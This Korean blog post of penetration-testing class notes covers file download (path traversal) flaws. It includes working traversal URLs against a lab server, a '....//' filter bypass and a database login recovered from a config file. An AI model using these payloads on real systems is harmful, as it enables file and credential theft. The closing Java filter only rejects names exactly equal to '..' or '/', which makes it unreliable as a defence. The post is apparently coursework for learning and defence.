보안 / 개발 챌린저가 목표

모의해킹 실습 (3) 본문

IT Security/Class_Do it

모의해킹 실습 (3)

햄미은서 2020. 10. 14. 20:47

▶ 파일 다운로드 취약점

  - 절대경로 vs 상대경로

    § 절대경로(Absolute Path) : 자신이 원하는 경로를 Root 디렉토리부터 모두 적은 것.

       ex) Window 운영체제 → C:\Program Files\Java\jdk1.8.0_261

            리눅스, 유닉스 → /user/home     (드라이브를 적지 않음)

    § 상대경로(Relative Path) : 특정 경로를 기준으로 다른 경로로 표시하는 개념.

                                       '.' 현재 디렉토리 / '..' 부모 디렉토리

 

☞ 한 폴더 위로 올라가기

 

 

☞ 에러나지 않고 root로 감.

 

 

☞ 내려가고 싶은 폴더 경로명만 알고 있다면 가능.


❓ Quiz 1 ❓  C:\test\top.txt 를 다운받고 열어보기.

  - http://61.39.155.24:50003/demoshop/shop_board/shop_download.asp?strFileName=top.txt&f_path=../../../../../../../test

  - http://61.39.155.24:50003/demoshop/shop_board/shop_download.asp?strFileName=../../../../../../../../../test/top.txt

[Quiz 1]의 결과


❓ Quiz 2 ❓  Directory Indexing 취약점을 이용하여 DB 접속정보 파일의 경로와 이름을 추측해보고 파일 다운로드 공격을 이용하여 받고 열어보기. 그리고 DB 접속 프로그램을 설치하고 실행하여 해당 정보로 DB 접속까지 해보기.

  ① http://61.39.155.24:50003/demoshop 에서 디렉토리 확인.

 

  ☞ demoshop에 있는 디렉토리를 확인하여, 

      관련있어 보이는 디렉토리로 들어가 확인.

 

 

 

 

 

 

 

 

 

 

 

  ② 로그인 파일이 보통 DB와 연동하고 있는 경우가 많음.

 

  ☞ login 관련 파일을 확인해보기.

      login_check.asp 파일 확인!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  ③ login_check.asp 파일을 열어 include 되어있는 파일들을 확인.

    - http://61.39.155.24:50003/demoshop/shop_board/shop_download.asp?strFileName=../login/login_check.asp

  ☞ admin/dbconn.asp 를 DB 정보가 들어있는 파일로

      추측이 가능하다!

 

 

 

 

  ④ dbconn.asp 파일을 열어 DB의 정보를 확인.

    - http://61.39.155.24:50003/demoshop/shop_board/shop_download.asp?strFileName=../admin/dbconn.asp

DB의 정보 확인하기 성공!

 

  ⑤ SQLGate for MSSQL을 이용하여 DB에 로그인.

 

 

 

 ☞ ID : sa / PW : kisec1234 / SQL Server : 10.10.0.153 / 데이터베이스 : oyesmall

 

 ☞ 학원에서 실습한 것이라 SQL Server 다를 수 있음!

 

 

 

 

 

 

 

 

 

 

 

 

 

DB 접속 성공!


❓ Quiz 3 ❓  초급문제 4 - 허술한 파일 다운로드 모듈

( http://61.39.155.24:50002/wargame/main/prob_main.php 의 4번 )

  ① 사진의 첨부파일을 다운로드 받는 링크를 확인한다.

첨부파일의 다운로드를 우클릭하여 주소 복사 후 확인

  - http://61.39.155.24:50002/wargame/war4/HackDownAct.php?FileName=Text.txt

   ☞ 파라미터인 FileName을 사용하여 다운로드가 가능할 것으로 추정.

 

  ② 주소창에 Quiz 1 과 같이 ../../../../../../temp/hacktory.txt 형태를 입력해봄.

http://61.39.155.24:50002/wargame/war4/HackDownAct.php?FileName=../../../../../../../temp/hacktory.txt

   ☞ 동작하지 않음. 그 이유는 서버 쪽에서 설정된 무언가에 의해 막히고 있다는 것. 이를 어떤 형태로 막고 있는지, 패턴을 알아내어 우회하여야함.

 

  ③ T../ext.txt 패턴을 사용하여 테스트를 해봄. 

  ☞ 파일이 다운로드됨. 이는 ../가 공백(null)로 치환되어, 결국

      T../ext.txt가 Text.txt 로 실행된다는 이야기.

 

 

  ④ 패턴을 ....//....//....//....//....//....//....//temp/hacktory.txt 형태로 하여 다운로드 실행.

   - http://61.39.155.24:50002/wargame/war4/HackDownAct.php?FileName=....//....//....//....//....//....//....//temp/hacktory.txt

  ☞ 다운로드 완료!

 

 

 

  ⑤ 파일 다운이 완료되어 확인 가능.

 

※ 파일 다운로드 공격 대응 방안

  - 다운로드 파라미터를 대상으로 특수문자 필터링 규칙 적용.

  - 상대경로를 설정할 수 있는 문자(/, \\, &, . 등)가 존재할 경우 파일 다운로드가 불가능하도록 구현.

  - %2E, %5C 등을 찾아 원래대로 만들고 그 후에 검사해!

// 서버로 전달된 파일명을 변수에 저장
String fileName = request.getParameter("filename");
		
// 전달된 파라미터가 null인지 체크
if(fileName == null || "".equals(fileName)) {
	// 에러메시지 출력
}
		
// 파일 경로 + 파일 이름
String filePath = UPLOAD_PATH + fileName;
		
// 인코딩 우회를 방지하기 위한 디코딩
String decodeFileName = URLDecoder.decode(fileName, Charset.defaultCharset().name());
		
// 파일 이름 체크(특수문자 필터링)
if(decodeFileName.equalsIgnoreCase("..") || decodeFileName.equalsIgnoreCase("/")) {
	// 에러메시지 출력
}

 

'IT Security > Class_Do it' 카테고리의 다른 글

모의해킹 실습 (5)  (0) 2020.10.16
모의해킹 실습 (4)  (0) 2020.10.14
모의해킹 실습 (2)  (0) 2020.10.12
모의해킹 실습 (1)  (0) 2020.10.07
네트워크 장비 진단  (0) 2020.09.25
Comments